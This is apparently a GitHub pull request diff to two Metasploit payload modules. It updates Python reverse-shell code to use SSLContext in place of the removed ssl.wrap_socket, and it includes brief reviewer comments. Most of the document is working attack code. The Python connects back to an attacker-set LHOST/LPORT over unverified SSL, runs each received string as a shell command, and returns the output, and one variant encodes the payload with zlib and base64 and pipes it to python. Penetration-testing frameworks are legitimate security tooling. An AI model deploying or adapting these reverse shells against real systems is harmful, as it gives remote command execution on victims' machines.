Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
38 changes: 27 additions & 11 deletions modules/payloads/singles/cmd/unix/reverse_python_ssl.rb
Original file line number Diff line number Diff line change
Expand Up @@ -4,6 +4,7 @@
##

module MetasploitModule

CachedSize = :dynamic

include Msf::Payload::Single
Expand All @@ -14,17 +15,17 @@ def initialize(info = {})
super(
merge_info(
info,
'Name' => 'Unix Command Shell, Reverse TCP SSL (via python)',
'Name' => 'Unix Command Shell, Reverse TCP SSL (via python)',
'Description' => 'Creates an interactive shell via python, uses SSL, encodes with base64 by design.',
'Author' => 'RageLtMan <rageltman[at]sempervictus>',
'License' => BSD_LICENSE,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Handler' => Msf::Handler::ReverseTcpSsl,
'Session' => Msf::Sessions::CommandShell,
'Author' => 'RageLtMan <rageltman[at]sempervictus>',
'License' => BSD_LICENSE,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Handler' => Msf::Handler::ReverseTcpSsl,
'Session' => Msf::Sessions::CommandShell,
'PayloadType' => 'cmd',
'RequiredCmd' => 'python',
'Payload' => {
'Payload' => {
'Offsets' => {},
'Payload' => ''
}
Expand All @@ -51,11 +52,20 @@ def generate(_opts = {})
def command_string
cmd = ''
dead = Rex::Text.rand_text_alpha(2)

# Set up the socket
cmd += "import socket,subprocess,os,ssl\n"
cmd += "so=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n"
cmd += "so.connect(('#{datastore['LHOST']}',#{datastore['LPORT']}))\n"
cmd += "s=ssl.wrap_socket(so)\n"
# ssl.wrap_socket() was deprecated in Python 3.7 and removed in Python 3.12.
# Use SSLContext.wrap_socket() instead, which is available from Python 2.7.9+
# and 3.2+. We fall back through PROTOCOL_TLS_CLIENT (3.6+) -> PROTOCOL_TLS
# (3.2-3.9) -> PROTOCOL_SSLv23 (2.7.9+) to cover all supported versions.
cmd += "ss=ssl.SSLContext(getattr(ssl,'PROTOCOL_TLS_CLIENT',getattr(ssl,'PROTOCOL_TLS',ssl.PROTOCOL_SSLv23)))\n"
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Does this work on a subset of versions that the old way did? Are we losing support for versions 2.5?

cmd += "ss.check_hostname=False\n"
cmd += "ss.verify_mode=ssl.CERT_NONE\n"
cmd += "s=ss.wrap_socket(so)\n"

# The actual IO
cmd += "#{dead}=False\n"
cmd += "while not #{dead}:\n"
Expand All @@ -64,10 +74,16 @@ def command_string
cmd += "\tproc=subprocess.Popen(data.decode('utf-8'),shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)\n"
cmd += "\tstdout_value=proc.stdout.read() + proc.stderr.read()\n"
cmd += "\ts.send(stdout_value)\n"

if datastore['PythonPath'].blank?
return "echo #{Shellwords.escape(py_create_exec_stub(cmd))} | $(which python || which python3 || which python2) -"
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Is there a reason to add this as a literal rather than using py_create_exec?

"echo exec(__import__('zlib').decompress(__import__('base64').b64decode(" \
"__import__('codecs').getencoder('utf-8')('#{Rex::Text.encode_base64(Rex::Text.zlib_deflate(cmd))}')[0])))" \
" | $(which python || which python3 || which python2) -"
else
return "echo #{Shellwords.escape(py_create_exec_stub(cmd))} | #{datastore['PythonPath']} -"
"echo exec(__import__('zlib').decompress(__import__('base64').b64decode(" \
"__import__('codecs').getencoder('utf-8')('#{Rex::Text.encode_base64(Rex::Text.zlib_deflate(cmd))}')[0])))" \
" | #{datastore['PythonPath']} -"
end
end

end
51 changes: 32 additions & 19 deletions modules/payloads/singles/python/shell_reverse_tcp_ssl.rb
Original file line number Diff line number Diff line change
Expand Up @@ -4,6 +4,7 @@
##

module MetasploitModule

CachedSize = :dynamic

include Msf::Payload::Single
Expand All @@ -14,16 +15,18 @@ def initialize(info = {})
super(
merge_info(
info,
'Name' => 'Command Shell, Reverse TCP SSL (via python)',
'Description' => 'Creates an interactive shell via Python, uses SSL, encodes with base64 by design. Compatible with Python 2.6-2.7 and 3.4+.',
'Author' => 'RageLtMan <rageltman[at]sempervictus>',
'License' => BSD_LICENSE,
'Platform' => 'python',
'Arch' => ARCH_PYTHON,
'Handler' => Msf::Handler::ReverseTcpSsl,
'Session' => Msf::Sessions::CommandShell,
'Name' => 'Command Shell, Reverse TCP SSL (via python)',
'Description' => 'Creates an interactive shell via Python, uses SSL, encodes with base64 by design.',
'Author' => [
'RageLtMan <rageltman[at]sempervictus>'
],
'License' => MSF_LICENSE,
'Platform' => 'python',
'Arch' => ARCH_PYTHON,
'Handler' => Msf::Handler::ReverseTcpSsl,
'Session' => Msf::Sessions::CommandShell,
'PayloadType' => 'python',
'Payload' => {
'Payload' => {
'Offsets' => {},
'Payload' => ''
}
Expand All @@ -42,22 +45,32 @@ def generate(_opts = {})
# Returns the command string to use for execution
#
def command_string
cmd = <<~PYTHON
# ssl.wrap_socket() was deprecated in Python 3.7 and removed in Python 3.12.
# Use SSLContext.wrap_socket() instead. The getattr chain below selects the
# best available protocol constant across all supported Python versions:
# PROTOCOL_TLS_CLIENT - Python 3.6+ (preferred, no deprecation warning)
# PROTOCOL_TLS - Python 3.2-3.9 (deprecated in 3.10, removed in 3.12)
# PROTOCOL_SSLv23 - Python 2.7.9+ (alias for PROTOCOL_TLS in older releases)
# check_hostname and verify_mode must be explicitly set because the payload
# connects to a Metasploit listener with a self-signed certificate.
<<~PYTHON
import socket as s
import subprocess as r
import ssl
so=s.socket(s.AF_INET,s.SOCK_STREAM)
so.connect(('#{datastore['LHOST']}',#{datastore['LPORT']}))
so=ssl.wrap_socket(so)
ss=ssl.SSLContext(getattr(ssl,'PROTOCOL_TLS_CLIENT',getattr(ssl,'PROTOCOL_TLS',ssl.PROTOCOL_SSLv23)))
ss.check_hostname=False
ss.verify_mode=ssl.CERT_NONE
so=ss.wrap_socket(so)
while True:
d=so.recv(1024)
if len(d)==0:
break
p=r.Popen(d.decode('utf-8'),shell=True,stdin=r.PIPE,stdout=r.PIPE,stderr=r.PIPE)
o=p.stdout.read()+p.stderr.read()
so.sendall(o)
\td=so.recv(1024)
\tif len(d)==0:
\t\tbreak
\tp=r.Popen(d.decode('utf-8'),shell=True,stdin=r.PIPE,stdout=r.PIPE,stderr=r.PIPE)
\to=p.stdout.read()+p.stderr.read()
\tso.sendall(o)
PYTHON

py_create_exec_stub(cmd)
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Is this not necessary?

end

end
Loading